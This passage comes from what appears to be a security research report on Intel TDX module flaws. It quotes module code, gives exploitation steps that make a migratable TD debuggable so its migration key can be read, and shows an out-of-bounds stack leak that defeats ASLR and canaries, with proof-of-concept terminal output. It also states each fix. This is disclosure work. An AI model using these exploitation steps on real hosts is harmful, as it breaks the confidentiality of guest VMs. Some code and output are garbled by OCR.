function returns a value other than TDX_SUCCESS then goto EXIT is executed and returns the
error code to the host VMM. The op_state is not modified when an error occurs.

api_error_type tdh_mng init(uint64_t target_tdr_pa, uint64_t target_td_params_pa,
uint64_t event_ filters_info_params) {

td_params_pa.raw = target_td_params_pa;
td_params_ptr = (td_params_t *)map_pa((void*)td_params_pa.raw, TDX_RANGE_RO);

return_val = read_and_set_td_configurations(tdr_ptr, tdcs_ptr, td_params_ptr);
if (return_val != TDX_SUCCESS) {

TDX_ERROR("read _and_set_td configurations failed\n");

goto EXIT;

}

tdcs_ptr->management_fields.op_state = OP_STATE_INITIALIZED;
EXIT:

return return_val;

The first parameter that read _and_set td configuration checks is the attributes. It uses
verify td_attributes with is_import set to false. This allows a TD to be configured with
the debug and/or perfmon flags set as long as the migratable flag is clear. If

verify td_attributes returns true the tmp_attributes are assigned to the TD.

static api_error_type read_and_set_td_configurations(tdr_t * tdr_ptr,

tmp_attributes.raw = td_params_ptr->attributes.raw;
if (!verify_td_attributes(tmp_attributes, false)) {
return_val = api_error_with_operand_id(TDX_OPERAND_INVALID,
OPERAND_ID_ATTRIBUTES);
goto EXIT,

}

tdcs_ptr->executions_ctl_fields.attributes.raw = tmp_attributes.raw;

tdcs_ptr->executions_ctl fields.td_ctls.pending_ve_disable =
tmp_attributes.sept_ve_disable;
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tmp_xfam.raw = td_params_ptr->xfam;

if (!check_xfam(tmp_xfam)) {
return_val = api_error_with_operand_id(TDX_OPERAND_INVALID, OPERAND_ID XFAM);
goto EXIT;

}

If a later check, for example check_xfam, fails the TD’s attributes have already been
modified, are not restored, and the op_state is left as OP_ STATE _UNINITIALIZED.

To summarize the root causes of this vulnerability that lead to exploitation:

1. tdh_mng_init does not modify the op_state on failure but does modify TD state

2. tdh_import state immutable is interruptible but does not correctly validate
imported state after the entire migration bundle is imported (relying instead on
md_td_write_ field checks during the import of each field)

3. tdh_import_state_immutable only modifies the op_state after the entire migration
bundle is imported

4. migsc_tis used to track migration state in the migration API but other APIs are
unaware of it

A compromised dstVMM can exploit these conditions to convert a migratable TD to a
debuggable TD by performing the following steps:

1. Create an interrupt storm targeting the LP that will perform the immutable state import
2. Call tdh_import state immutable with the immutable state and MBMD
a. Goto step 3 if the Intel TDX module returns TDX_INTERRUPTED RESUMABLE
b. Goto step 4 if it completes with TDX_SUCCESS and step 3 was previously
executed
3. Call tdh_mng_init with attributes.debug set and an invalid xfam value
a. Intel TDX module returns with TDX_OPERAND INVALID - OPERAND ID XFAM
b. Goto step 2
4. Call tdh_mng_rd toread the MIG DEC_WORKING KEY

At this point the migration can be continued but with the dstVMM having complete access to
the dstTD. The dstVMM can use the MIG_DEC_WORKING_KEY, which is only allowed to be read
by the dstVMM when the TD is debuggable, to decrypt migration bundles received by the
srcVMM and modify them before performing additional import operations.

As the migration bundles represent the entire state of the TD (e.g., non-memory state and
private memory) and because the dstVMM can decrypt them, the TD’s confidentiality is
compromised.
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One side effect of calling tdh_mng_init is that num_vcpus is initialized to @ before the
attributes are set which prevents VP import. The dstTD can still transition through expected
operation states without issue because the tdh_import_track API only verifies
num_migrated vcpus and num_vcpus are equal.

Even with that side effect Integrity is compromised because the migration can be completed
with the dstTD in a different state than the srcTD. Furthermore, an attacker can proceed to
impact integrity by:

1. Using the migration bundles to construct another TD and destroy the dstTD once
completed

2. Abort the migration and use the confidential data to attack the srcTD (e.g., extract
credentials, persistent storage keys, or encrypted connection details).

A simplified attack scenario where the srcVMM and dstVMM are the same platform is
also possible. In this case the complexity of exploitation is reduced and provides an
additional live monitoring capability. In this case the host VMM initiates a migration but does
not complete it. Instead, it stays in the OP_STATE_LIVE_EXPORT op_state, using
tdh_export_mem to access private memory as needed.

The PoC, shown in Figures 10 and 11, performs the attack described above to extract the
MIG_DEC_KEY, using the TDXplore Toolkit. A single host VMM and migTD was used as both the
source and destination to simplify demonstration.
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mig-td: python tdg servtd wr.py 0xfe83b6157a15d80f bb674ecddf30a757-bcede943eba50fch-3c306e08ea0d913e8-7
7cad8b544e70be3 0x9810000300000010 -1 Oxdebla54c4ca8d844

previous_contents: 0x0

uuid: bb674ecddf30a757-bce@e943eba50fch-3c306e08ea0913e8-77ca08b544e70be3

mig-t python tdg servtd wr.py 0xfe83b6157a15d80f bb674ecddf30a757-bcefe943eba50fch-3c306e08ead913e8-7
7cab8b544e70be3 0x9810000300000011 -1 0xd0c76dde999612cO

previous contents: 0x0

uuid: bb674ecddf30a757-bcede943eba50fch-3c306e08ea0913e8-77cad8b544e70be3

mig-td: python tdg servtd wr.py 0xfe83b6157a15d80f bb674ecddf30a757-bcede943eba50fch-3c306e08ea0913e8-7
7ca08b544e70be3 0x9810000300000012 -1 0x54b6926725cd93f1

previous contents: 0x0

uuid: bb674ecddf30a757-bcede943eba50fch-3c306e08ea0913e8-77cad8bh544e70be3

mig-td: python tdg servtd wr.py 0xfe83b6157a15d80f bb674ecddf30a757-bcede943eba50fch-3c306e08ea0913e8-7
7ca08b544e70be3 0x9810000300000013 -1 0x2839b426c03c52bf

previous contents: 0x0

uuid: bb674ecddf30a757-bce@e943eba50fch-3c306e08ea0913e8-77cad8b544e70be3

[+] Migration TD keys exchange completed.
(.venv) root@mig-td:~/tdxplore/py# l

root@host-vmm: /tmp/tdxplore/py

[!] Instruct the migration TD to perform keys exchange (press any key to continue)...

%%] Exporting source TD immutable state to immutable.expt.mbmd and immutable.data...
host-vmm: python tdh _export state immutable.py 0x609eada®00 immutable.mbmd immutable.data
export state immutable
TDX STATUS: 0x0 - TDX SUCCESS : OPERAND ID RAX

[%%] Pausing source TD...
host-vmm: python tdh export pause.py 0x609eada®00
TDX STATUS: 0x0 - TDX SUCCESS : OPERAND ID RAX

%%] Exporting source TD td state to td.mbmd and td.data...
host-vmm: python tdh export state td.py 0x609eada®00® td.mbmd td.data
export state td
TDX STATUS: 0x0 - TDX SUCCESS : OPERAND ID RAX

%%] Exporting source TD vpO state to vp0.mbmd and vpO.data...

host-vmm: python tdh_export state vp.py 0x609eada®@0® O vpO.mbmd vpO.data
export state vp

TDX STATUS: 0x0 - TDX SUCCESS : OPERAND ID RAX

[+] Target TD export completed.
(.venv) root@host-vmm:/tmp/tdxplore/py# [l

Figure 10: Uncompromised Setup and Export Operations
Note: An animated version of the figure is provided here.

Figure 10 includes a terminal for the migTD (top) and host VMM (bottom). The host VMM is
not part of the TCB and only used to perform expected resource management activities. The
migTD is bound to both the srcTD and dstTD and completes the required keys exchange
within its context.


https://services.google.com/fh/files/misc/intel_tdx_1.5-figure_10.gif
https://services.google.com/fh/files/misc/intel_tdx_1.5-figure_10.gif
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| root@host-vmm: /tmp/tdxplore/py Q= - o X

[%%] Exploiting TDX build/import workflow to change TD attributes...
host-vmm: python digby.py 0x11e000 immutable.mbmd immutable.data

digby: CVE-2025-30513
- Nibblonian that lost the keys and forgot where he parked.

TDX STATUS: 0x8000000300000000 - TDX INTERRUPTED RESUMABLE : OPERAND ID RAX
TDX STATUS: 0xc000010000000041 - TDX OPERAND INVALID : OPERAND ID XFAM
TDX STATUS: 0x0 - TDX SUCCESS : OPERAND_ID RAX

[+] Target TD is NOW debuggable

[%%] Importing destination TD state...

host-vmm: python tdh import state td.py 0x11e000 td.mbmd td.data
TDX STATUS: 0x0 - TDX SUCCESS : OPERAND_ID RAX

IMPORT.STATE.TD rcx: 0x0

IMPORT.STATE.TD rdx: 0x0

[%%] Print destination ATTRIBUTES (0x1 is debug)...

host-vmm: python tdh md rd.py 0x11e000 td 0x1110000300000000

td-scope metadata:

identifier: 06x1110000300000000, name: ATTRIBUTES, num of fields: 1, num of elem: 1, contents: 0Ox1

[%%] Print migration destination decryption key...

host-vmm: python tdh md rd.py 0x11e000 td ©0x9810000300000010 --count=4

td-scope metadata:

identifier: 0x9810000300000010, name: MIG DEC KEY, num of fields: 1, num of elem: 4, contents: 0x45a514
043fcacddf

identifier: 0x9810000300000011, name: MIG DEC KEY, num of fields: 1, num of elem: 4, contents: 0xb424ff
1b0706f6ca

identifier: 0x9810000300000012, name: MIG DEC KEY, num of fields: 1, num of elem: 4, contents: 0xe96393
091e9cb552

identifier: 0x9810000300000013, name: MIG DEC KEY, num of fields: 1, num of elem: 4, contents: 0x9f36f6
69518b1168

[+] Target TD decryption key extracted.
(.venv) root@host-vmm:/tmp/tdxplore/py# i

Figure 11: Exploited Import Operations Making the TD Debuggable
Note: An animated version of the figure is provided here.

Figure 11 contains a terminal on the host VMM and is used to run the exploit. Once the exploit
completes it proceeds to print the attributes showing the imported TD has the debug flag
set and prints the MIG_DEC_KEY, using the tdh_mng_rd API. The MIG_DEC_KEY field is only
accessible to the host VMM when the TD is marked debuggable.

Remediation: This vulnerability was fixed by introducing a new op_state, called
START_IMPORT, to prevent the non-import path from being taken after an immutable import
has been started.

This vulnerability is only exploitable when a Trust Domain (TD) is configured to be migratable.
Until this fix is fully deployed, customers should check their attestation report to verify
CVMs are built with migration support disabled. Even after the fix is deployed, customers
should continue to carefully review their migration policy and environment configuration. This
is to ensure they meet the minimum Security Version Number (SVN) and the specific
confidentiality requirements for their use case and threat model. A misconfigured migration
policy could allow a CVM to be moved to a host with a vulnerable environment, exposing it to
known threats.


https://services.google.com/fh/files/misc/intel_tdx_1.5-figure_11.gif
https://services.google.com/fh/files/misc/intel_tdx_1.5-figure_11.gif
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Vulnerability 2: Metadata Sequence Parsing Leads to an Integer Underflow

Intel Technical Advisory for CVE-2025-32007: In certain scenarios, a VMM may generate a
migration stream that interacts with the Intel TDX Module in a way that could lead to memory
access beyond allocated boundaries. This condition may result in unintended reads of system
memory, potentially revealing privileged information.

Attack Scenario: A compromised host VMM creates a template TD to import migration
bundles into. A malicious migTD is created and bound to the template TD. The MSK is provided
by the migTD to the host VMM so it can construct and encrypt migration bundles for import.

In this situation, the host VMM can exploit an integer underflow condition that occurs during
import, allowing up to 8KB of Out-Of-Bounds (OOB) data to be read from the current LP’s
stack in the Intel TDX Module.

Exploitation of this vulnerability allows OOB reads of data in the Intel TDX Module. With
this an attacker is able to: bypass Address Space Layout Randomization (ASLR), leak the
global stack canary, read the contents of the LP’s shadow stack, and read data from an
adjacent LP’s stack in the Intel TDX Module.

There are three APIs used to import non-memory TD state in the Intel TDX Module:
tdh_import_state_immutable, tdh_import_state_td, and tdh_import_state_vp. These
APIs share a similar flow and the vulnerability is reachable by any of them.
tdh_import_state_ vp will be used to describe how to reach the root cause of the
vulnerability and demonstrate a PoC exploit.

api_error_type tdh_import_state_vp(uint64_t target_tdvpr_pa, ...uint64_t
hpa_and_size_pa, uint64_t page or_list pa, uint64_t migs_i and_cmd_pa) {

md_list_header_t *md_list_hdr_p = NULL;
md_list_t md_list;
page_list_pa.raw = 0;
page_list_pa.page_4k_num = page_list_info.hpa;
page_list p = (pa_t *)map_pa(page_list_pa.raw_void, TDX_ RANGE_RO);
do {
md_list pa.raw = page_list p[page_list i].raw;

md_list hdr p = (md_list header_t *)map_pa(md_list pa.raw_void, TDX_RANGE_RO);

if (aes_gcm_decrypt(&migsc_p->aes_gcm_context, (uint8_ t*)md_list_hdr_p,
(uint8_t*)&md_list, _4KB) != AES_GCM_NO_ERROR) {
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if (md_list.hdr.list_buff_size > _4KB) {

md_list.hdr.list _buff_size = _4KB;
}

return_val = md_write_list(MD_CTX_VP, field_id, _4KB, true, true, page_list_ i
== page_list_info.last_entry, md_ctx, &md_list.hdr, MD_IMPORT_MUTABLE, access_qual,
&next_field_id, tmp_ext_error_info, true);

if (return_val != TDX_SUCCESS) {
if (migsc_p->interrupted_state.status == TDX_SUCCESS) {
migsc_p->interrupted_state.status = return_val;
migsc_p->interrupted_state.extended_err_info[0] = tmp_ext_error_info[0];
migsc_p->interrupted_state.extended_err_info[1] = tmp_ext_error_info[1];
}
}
field_id = next_field_id;
page_list_i++;

} while ((uint64_t)page_list i <= page_list_info.last_entry);

if (migsc_p->interrupted_state.status != TDX_SUCCESS) {
local_data_ptr->vmm_regs.rcx = migsc_p->interrupted_state.extended_err_info[0];
local_data_ptr->vmm_regs.rdx = migsc_p->interrupted_state.extended_err_info[1];
tdcs_p->management_fields.op_state = OP_STATE_FAILED_IMPORT;
return_val = api_error_fatal(migsc_p->interrupted_state.status);
goto EXIT,

When tdh_import_state_ vp is called by the host VMM it is passed a list of HPAs pointing to
4KB md_list_t structures, that make up the migration bundle, as the page_of list pa
parameter (See the Migration Bundles section for additional details about the md_1ist t
structure).

After some initial validation the function proceeds to loop through each md_1ist t structure
by decrypting and copying the contents to a stack-based md_1ist buffer. The
md_list.hdr.list buff sizeis checked to ensure itis less than or equal to 4KB. This is
passed tomd write listas&md_list.hdr, and with a fixed size of 4KkB.[f md write list
does not return TDX_SUCCESS and a previous error doesn’t already exist,
tmp_ext_error_info[@] is saved to extended_err_info[@]. Once all md_list entries have
been imported, tdh_import_state_vp checks the integrity of the migration bundle by
comparing the computed MAC with the one located in the MBMD. If validation passes but an
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error is encountered during the import extended_err_info is copied to RCX and RDX and the
TD op_stateis setto OP_STATE_FAILED IMPORT preventing future import activities.

api_error_code_e md_write_list(md_context_code_e ctx_code, md_field id_t
expected_field, uintl6_t buff_size, ..., md_context_ptrs_t md_ctx,
md_list_header_t* list_header_ptr, ...) {

remaining_buff_size = list_header_ptr->list_buff_size - sizeof(md_list_header_t);
sequence_buffer_ptr (uint8_t*)(list_header_ptr) + sizeof(md_list header_t);

for (uint32_t i = 0; i1 < list_header_ptr->num_sequences; i++) {
sequence_ptr = (md_sequence_t*)sequence_buffer_ptr;

if (sequence_ptr->sequence_header.context_code != expected_field.context_code)

ext_err_info[0] = sequence_ptr->sequence_header.raw;
return api_error_with_12 details(TDX_METADATA FIELD ID INCORRECT, OxFFFF,
(uintle_t)i);
}

retval = md_write_sequence(sequence_ptr, md_ctx, (uint32_t)remaining_buff_size,
access_type, access_qual, &elements_read, &lkp_iter, skip_non_writable,
ext_err_info, is_import);

remaining buff size -= (sizeof(md_field id _t) + (elements_read *
sizeof(uint64 t)));

sequence_buffer_ptr += (sizeof(md_field_id_t) + (elements_read *
sizeof(uint64_t)));

md_write list uses list header ptr->num_sequences to iterate through the sequences of
an md_list. After performing some initial checks to make sure the sequence_header contains
either the expected field or the next non-optional field md_write sequence is called.

In cases where a check fails information about the failure is returned in ext_err info. For
example, sequence_header.context_code is checked against the

expected field.context code and if this check fails the raw uint64 t value in
sequence_ptr->sequence_header is setto ext_err_info[@] and an error code constructed
with api_error with 12 details is returned.

static api_error_code_e md_write_sequence(md_sequence_t* sequence_ptr,
md_context_ptrs_t md_ctx, uint32_t buff_size, md_access_t access_type,
md_access_qualifier_t access_qual, uint32_t* elements_read, lookup_iterator_t*
lkp_iter, bool_t skip_non_writable, uint64_t ext_err_info[2], bool_t is_import) {
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IF_RARE (buff_size < (sizeof(md_field_id_t) + sizeof(uint64_t))) {
ext_err_info[0] = lkp_iter->field_id.raw;
return api_error_with_12 details(TDX_METADATA LIST OVERFLOW, OxFFFF, 0);
}

uint32_t num_fields = sequence_ptr->sequence_header.last_field_in_sequence + 1;
buff_size -= sizeof(md_field_id_t);

for (uint32_t i = 0; i < num_fields; i++) {
entry = &lkp_iter->lookup_table[lkp_iter->table_idx];
if (sequence_ptr->sequence_header.write_mask_valid) {
wr_mask = sequence_ptr->element[0];
sequence_idx++;
buff_size -= sizeof(uint64_t);
} else { wr_mask = (uinté64_t)-1; }

if ((uinte4_t)buff_size < ((uint64_t)entry->num_of_elem * sizeof(uint64_t))) {
ext_err_info[0@] = lkp_iter->field_id.raw;
return api_error_with_12 details(TDX_METADATA LIST OVERFLOW, OxFFFF, ©);

}

if (!skip_non_writable || is_required_or_optional_entry(entry, access_type)) {
retval = md_write_field_with_entry(ctx_code, lkp_iter->field_id, access_type,
access_qual, md_ctx, &sequence_ptr->element[sequence_idx], wr_mask, entry,
is_import, sequence_ptr->sequence_header.write_mask_valid);

if (retval != TDX_SUCCESS) {
if (!((retval == TDX_METADATA FIELD NOT_WRITABLE) && skip_non_writable)) {
ext_err_info[0] = lkp_iter->field_id.raw;
return retval;
¥
}
}
buff_size -= (entry->num_of_elem * sizeof(uint64_t));
sequence_idx += entry->num_of_elem;

if ((i < (num_fields - 1)) && (is_null_field_id(lkp_iter->field_id) ||
(lkp_iter->field_id.class_code != prev_class_code))) {
ext_err_info[0@] = sequence_ptr->sequence_header.raw;
return TDX_METADATA_FIELD_ID_INCORRECT;

}

md_write_sequence starts by checking that buff_size is greater than or equal to
(sizeof(md _field id t) + sizeof(uint64_t). It then parses the sequence header to
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capture the num_fields and adjusts buff_size before entering the loop to process the
sequence elements. The loop starts by checking if the sequence_header.write _mask valid
flag is set and sets the wr_mask to sequence_ptr->element[0] and adjusts buff_size. Then
there is a check to ensure buff_size is large enough to hold the number of elements in the
entry. Finally, md_write field entry is called to write the elements in the sequence into the
associated metadata field. When that returns buff_size is updated to reflect the remaining
size by subtracting entry->num_of_elem * sizeof(uint64_t).

buff size passed to this function is indirectly controlled by the host VMM because
remaining buff size isinitialized from list header ptr->list buff sizein

md_write list.Theloopinmd write sequence works correctly on the first iteration but
subsequent iterations become problematic if sequence_header.write mask valid flagis
set and buff sizeislessthan sizeof(uint64_t). In this situation, buff size subtracts
sizeof(uint64_t) and causes an integer underflow. As buff_sizeisauint32_t the value
after the subtraction would be close to 4GB but other restrictions reduce the distance of the
OOB access:

1. sequence_header must be a valid entry to be imported

2. num_of_elemis not attacker controlled and the largest had a value of 6

3. num_fields is computed from last field in_sequence + 1 whichis limitedto a
value between 1 and 512

4. class_code and context code between entries must match to be in the same
sequence

After some examination it was found that the largest OOB access for tdh_import_state vp
is achieved with X2APIC IDS, XBUFF, L2 MSR _BITMAPS, L2 MSR _BITMAPS 2, and
L2 MSR_BITMAPS 3 fields because their num_of fields value is greater than or equal to 512.

// XBUFF in tdvps_fields_lookup.c

.field_id = { .raw = 0x1220000300000000 },

.num_of_fields = 1536, .num_of_elem = 1, .offset = 0x3000, .attributes = { .raw =
0x0 1},

.prod_rd_mask = (OQULL & OXFFFFFFFFFFFFFFFFULL), .prod_wr_mask = (QULL &
OXFFFFFFFFFFFFFFFFULL),

.dbg_rd_mask = (-1ULL & OxFFFFFFFFFFFFFFFFULL), .dbg wr mask = (-1ULL &
OXFFFFFFFFFFFFFFFFULL),

.guest_rd_mask = (QULL & OxFFFFFFFFFFFFFFFFULL), .guest_wr_mask = (OQULL &
OXFFFFFFFFFFFFFFFFULL),

.export_mask = (-1ULL & OXFFFFFFFFFFFFFFFFULL), .import_mask = (-1ULL &
OXFFFFFFFFFFFFFFFFULL),

.special_rd_handling = false, .special_wr_handling = true,

.mig_export = MIG_ME, .mig_import = MIG_ME
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If tdh_import state td was used to perform the OOB read, the X2APIC_1IDS field would
provide the largest access.

// X2APIC_IDS in tdr_tdcs_fields_lookup.c

.field_id = { .raw = 0x9C10000200000000 },

.num_of_fields = 576, .num_of_elem = 1, .offset = 0x1100, .attributes = { .raw =
0x0 1},

.prod_rd _mask = (-1ULL & OXFFFFFFFFULL), .prod_wr_mask = (OQULL & OxFFFFFFFFULL),
.dbg_rd_mask = (-1ULL & OxFFFFFFFFULL), .dbg_wr_mask = (QULL & OxFFFFFFFFULL),
.guest_rd_mask = (QULL & OxFFFFFFFFULL), .guest_wr_mask = (OULL & OxFFFFFFFFULL),
.migtd_rd_mask = (-1ULL & OxFFFFFFFFULL), .migtd _wr_mask = (QULL & OxFFFFFFFFULL),
.export_mask = (-1ULL & OXFFFFFFFFULL), .import_mask = (-1ULL & OXFFFFFFFFULL),
.special_rd_handling = false, .special_wr_handling = false,

.mig_export = MIG_MB, .mig_import = MIG_MBO

There are two options for retrieving the data read from the OOB access. Regardless of the
approach the greatest range is achieved by placing a sequence_header and wr_mask at the
end of a sequence. Given the restrictions the range of the OOB access is limited to
(sizeof(uinté4_t) * 2) * num_of_ fields or 8KB. This is achieved by having:

1. write mask valid setinthe sequence header each field effectively skips one
element from the wr_mask assignment

2. num_of elem = 1 so each field consumes another element

3. last field in_sequence set to 511 (i.e., num_fields is equal to 512)

Figure 12 provides a detailed layout of how data is organized on the stack when the
vulnerability is triggered.
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Adjacent LP Stack (12KB)

Shadow Stack (4KB)

Local LP
Stack Base / tdx_seamcall_entry_point return address
stack canary
callee-saved non-volatile registers

tdx_vmm_dispatch local variables

tdx_vmm_dispatch return address =GB
_header

16-byte alignment adjustment

callee-saved non-volatile registers
- stack canary 1

(uint64_t) element @: Oxffffffffffffffff
(md_field_id_t) XBUFF Malicious
(write_mask_valid = 1, last_field_in_sequence=8) Sequence

(uint64_t) element @: 0x602e7

(md_field_id_t) XCR@
(write_mask_valid = @, last_field_in_sequence=0)

md_list_t md_list

(uint64_t) element 0: @xbadecoffee

(md_field_id_t) RAX
(write_mask_valid = @, last_field_in_sequence=15)
(uint16_t) (uint16_t)
list_buff_size num_sequences

(uint32_t) reserved

tdh_import_state_vp local variables

md_write_list return address
callee-saved non-volatile registers
stack canary
md_write_list and local variables
(inlined md_write_sequence local variables)

Figure 12: Malicious Metadata List Used To Read OOB data

Option 1: Use ext_err_info[@] to return 64bit OOB value in RCX to the host VMM. By
aligning the end of the malicious sequence to right before the data to leak, md_write list
interprets the out-of-bounds sequence_header as the next one (See Figure 12). When the
context_code check fails the value sequence_ptr->sequence_header.raw is assigned and
the function returns. There is a possibility that the context code would match and not fail but
in this case the attacker can alternate between the tdh_import state vp and

tdh_import state td API as their context codes are different (i.e., MD_CTX_TDis 1 and
MD_CTX_VP is 2). The value of i returned in the error code and the error code itself can be
used to determine if the API failed at the correct point to leak data.

if (sequence_ptr->sequence_header.context_code != expected field.context_code) {
ext_err_info[@] = sequence_ptr->sequence_header.raw;
return api_error_with_12_details(TDX_METADATA_FIELD_ID_INCORRECT, OxFFFF,
(uintle_t)i);

Option 2: Because the TD being imported is under complete control of the attacker, use it to
extract the OOB data from the imported state. All data from the malicious sequence to the
out-of-bounds sequence_header will be copied into an attacker-controlled portion of XBUFF
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(See Figure 12). num_sequences is controlled to ensure md_write_list returns after
completing the import of OOB data into XBUFF. After the import is completed tdh_vp_enter
can be used to extract the data with a custom bootloader.

A variation of this would be to use X2APIC 1DS, which is restricted to 32bit values (i.e. would
only save 4 of every 8 bytes), to load the OOB data. This field could be directly read by the
host VMM using the tdh_mng_rd API.

ASLR is defeated because the leaked stack data includes: return address to
tdx_vmm_dispatcher, address of tdx_module local t local datawhenitis pushed to the
stack by the tdh_import_state_vp prolog, and the contents of the shadow stack.
Stack-smashing protection defeated because global stack canary is leaked.

LP data stacks are co-located, 12KB in size, with a 4KB shadow stack between them. The
shadow stack is readable with normal memory accesses, but protected from normal write
operations with Control-Flow Enforcement Technology (CET). There is no guard page to
isolate an adjacent LP’s stack. Even with a guard page present Option 1 wouldn’t have been
stopped because awrite _mask_valid could be set with a wr_mask of O effectively skipping
the accesses.
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previous contents: 0x0

uuid: 2d6fbld63efba22c-d21655355b7e706c-a54afa9a31d0a970-c6cc9a7444406210

mig-td: python tdg servtd wr.py 0x9f39c399a2121b55 2d6fbld63efba22c-d21655355b7e706¢c-a54afa9a31d0a970-c
6cc9a74444062f0 0x9810000300000012 Oxc7 -1

previous contents: 0x0

uuid: 2d6fbld63efba22c-d21655355b7e706c-a54afa%a31d0a970-c6cc9a74444062T0

mig-td: python tdg servtd wr.py 0x9f39c¢399a2121b55 2d6fbld63efba22c-d21655355b7e706c-a54afa9a31d0a970-c
6cc9a74444062f0 0x9810000300000013 Oxed -1

previous contents: 0x0

uuid: 2d6fbld63efba22c-d21655355b7e706c-a54afa%a31d0a970-c6cc9a74444062T0

[%%] Printing migration destination decryption key...

identifier: 0x9810000300000010, name: MIG DEC KEY, num of fields: 1, num of elem: 4, contents
identifier: 0x9810000300000011, name: MIG DEC KEY, num_of fields: 1, num of elem: 4, contents
identifier: 0x9810000300000012, name: MIG DEC KEY, num of fields: 1, num of elem: 4, contents
identifier: 0x9810000300000013, name: MIG DEC KEY, num of fields: 1, num of elem: 4, contents

[+] Migration TD key assignment completed.
(.venv) root@mig-td:~/tdxplore/py# !

root@host-vmm: /tmp/tdxplore/py Q

[%%] Importing TD state...
host-vmm: python tdh import state td.py 0x178000 td.mbmd td.encrypted
return code: 0x0 - TDX SUCCESS : OPERAND ID RAX, extended error information 1: 0x0, 2:

[%%] Creating VP...

host-vmm: python tdh vp create.py 0x178000
tdvpr_pa: 0x15e000

tdvpr ka: 0xff37e2ec8015e000, tdvpr pa: 0x15e000

[%%] Allocating TDCX pages for the VP...
host-vmm: python tdh vp addcx.py 0x178000 0

[%%] Encrypting VP metadata bundle...
host-vmm: python mig bundle encrypt.py Oxde-0x7e-0xc7-0xed vp vpO.melllvar.data vpO.melllvar.mbmd vpO.m|
elllvar.encrypted

[%%] Importing VP state...

host-vmm: python tdh import state vp.py 0x178000 0 vpO.melllvar.mbmd vpO.melllvar.encrypted
return code: 0xe0000c00ffff0093, extended error information 1: R HRREIRICERRLCIE, 2: 0x0
0xe0000c00ffffO093

[+] Stack Data Leaked (see extended error information 1).
(.venv) rootghost-vmm:/tmp/tdxplore/py# []

Figure 13: Exploited Import Operation Leaking Stack Data
Note: An animated version of the figure is provided here

The PoC, shown in Figure 13, performs Option 1 using the TDXplore Toolkit. The host VMM
and migTD are both compromised and cooperating to build a custom metadata bundle and
correctly encrypt it for import. The leaked information is returned in extended error
information 1, which in this case is a canonical address from the TDX module.

Remediation: This vulnerability was fixed by moving the block of code that checks the
valid write_mask and wr_mask to before the loop.

Vulnerability 3: Speculative Out-of-Bounds Read in Guest RDMSR and
WRMSR Handlers

Intel Technical Advisory for CVE-2025-27572: In certain Intel TDX modules, an
out-of-bounds read condition may occur under specific microarchitectural conditions
allowing speculative execution and potentially result in information exposure through
side-channel analysis.


https://services.google.com/fh/files/misc/intel_tdx_1.5-figure_13.gif
https://services.google.com/fh/files/misc/intel_tdx_1.5-figure_13.gif
http://tdxplore
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Attack Scenario: A malicious guest TD can execute WRMSR and RDMSR to train branch
predictors and cause OOB memory accesses in the speculative execution domain, which are
later processed by encoding gadgets inside the Intel TDX Module. A guest TD can use the
prime+probe or flush+flush attack technique (the latter colluding with the host VMM) to
extract the secret information.

The exit handlers for WRMSR and RDMSR inside the Intel TDX Module relies on the
rd_wr_msr_generic_checks subroutine to sanity check the user input, and this subroutine
has code gadgets that are vulnerable to speculative OOB reads.

The execution of certain privileged instructions inside a TD is emulated by the Intel TDX
Module. In particular, when a TD executes wrmsr/rdmsr instructions, it gets interrupted by the
Intel TDX Module, which emulates the execution of these instructions via td_wrmsr_exit and
td_rdmsr_exit. The subroutine rd_wr_msr_generic_checks is responsible for checking if
the requested 32-bit MSR address is within a valid range that is allowed by an internal bitmap
structure:

// Access to any MSR not in the bitmap ranges results in a #VE
if (!is_msr_covered_ by bitmap(msr_addr)) {

return
construct_msr_status_with_ve_category(TD_MSR_ACCESS_MSR_NON_ARCH_EXCEPTION,
VE_INFO_NON_CONFIG_PARAVIRT);
}

if ((vm_id > @) &&
get _msr_bitmap_bit((uint8_ t*)tdvps_p->12_vm_ctrl[vm_id-1].12_shadow_msr_bitmaps,
msr_addr, wr)) {

return TD_MSR_ACCESS_L2_TO L1 EXIT;

}

In the above code snippet, speculative execution of the conditional check for

is msr_covered by bitmap can result in invalid MSR addresses to be processed by the
following subroutines. Later get_msr_bitmap_bit speculatively extracts a single bit of such
OOB memory based on the provided MSR address, which is then used in another conditional
code that depends on a single bit of leaked memory. Consequently, a malicious TD can steal a
single bit of secret memory of the Intel TDX Module by probing the cache state of the second
conditional code. By repeating this attack for different MSR addresses, the attacker can
potentially leak the Intel TDX Module memory content one bit at a time.

Remediation: This vulnerability was fixed by adding an 1fence after the OOB check in

is msr_covered by bitmap.

Vulnerability 4: Speculative Out-of-Bounds Read in Host HKID Free and VP
Flush API


https://eprint.iacr.org/2005/271.pdf
https://gruss.cc/files/flushflush.pdf
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Intel Technical Advisory for CVE-2025-32467: In some Intel TDX modules, improper
initialization may lead to speculative execution behaviors, which under specific
microarchitectural conditions, could result in limited information disclosure.

Attack Scenario: A malicious host VMM executes tdh_mng_key freeid and
tdh_mng_vpflushdone with arbitrary addresses injected into the unutilized variable on the
stack. These values result in OOB access and partial information leakage, which can be
recovered by flush+flush attack technique.

In various Intel TDX Module APIs, tdr_ptr is not initialized by default. In some
tdh_mng_key freeidand tdh_mng_vpflushdone, this uninitialized pointer can be used to
access OOB data during speculative execution.

These APIs can be executed by a malicious VMM at different stages of managing a TD. The
APl tdh_mng_key freeid is responsible for marking the guest TD's HKIDs in the Key
Ownership Table (KOT) as HKID FREE. Similarly, tdh_mng_ vpflushdone is responsible for
marking the TD's HKID in the KOT as HKID FLUSHED.

At the beginning of these subroutines, the TDR has to be mapped using
check_lock and map explicit tdr subroutine. A malicious VMM can provide invalid inputs
to this subroutine so it fails. Upon failure, tdr_ptr won't be initialized, as a result picking up
attacker chosen values from on the stack. Speculative execution of the check for the return
code: if (return_val != TDX_SUCCESS) allows these subroutines to have forward progress
in the speculative execution domain.

return_val = check_lock_and map_explicit_tdr(tdr_pa, OPERAND _ID RCX, TDX_RANGE_RW,
TDX_LOCK_EXCLUSIVE, PT_TDR, &tdr_pamt_block, &tdr_pamt_entry_ptr, &tdr_locked_flag,
&tdr_ptr);
if (return_val != TDX_SUCCESS) {
TDX_ERROR("Failed to check/lock/map a TDR - error = %11d\n", return_val);
goto EXIT;

}

Later, as we see in the following code snippet, an attacker who controls the tdr_ptr can craft
arbitrary HKID values that results in accessing OOB data relative to the KOT.

curr_hkid = tdr_ptr->key_management_fields.hkid;

if (global_data_ptr->kot.entries[curr_hkid].wbinvd_bitmap != 0) {
TDX_ERROR("CACHEWB is not complete for this HKID (=%x)\n", curr_hkid);
return_val = TDX_WBCACHE_NOT_COMPLETE;
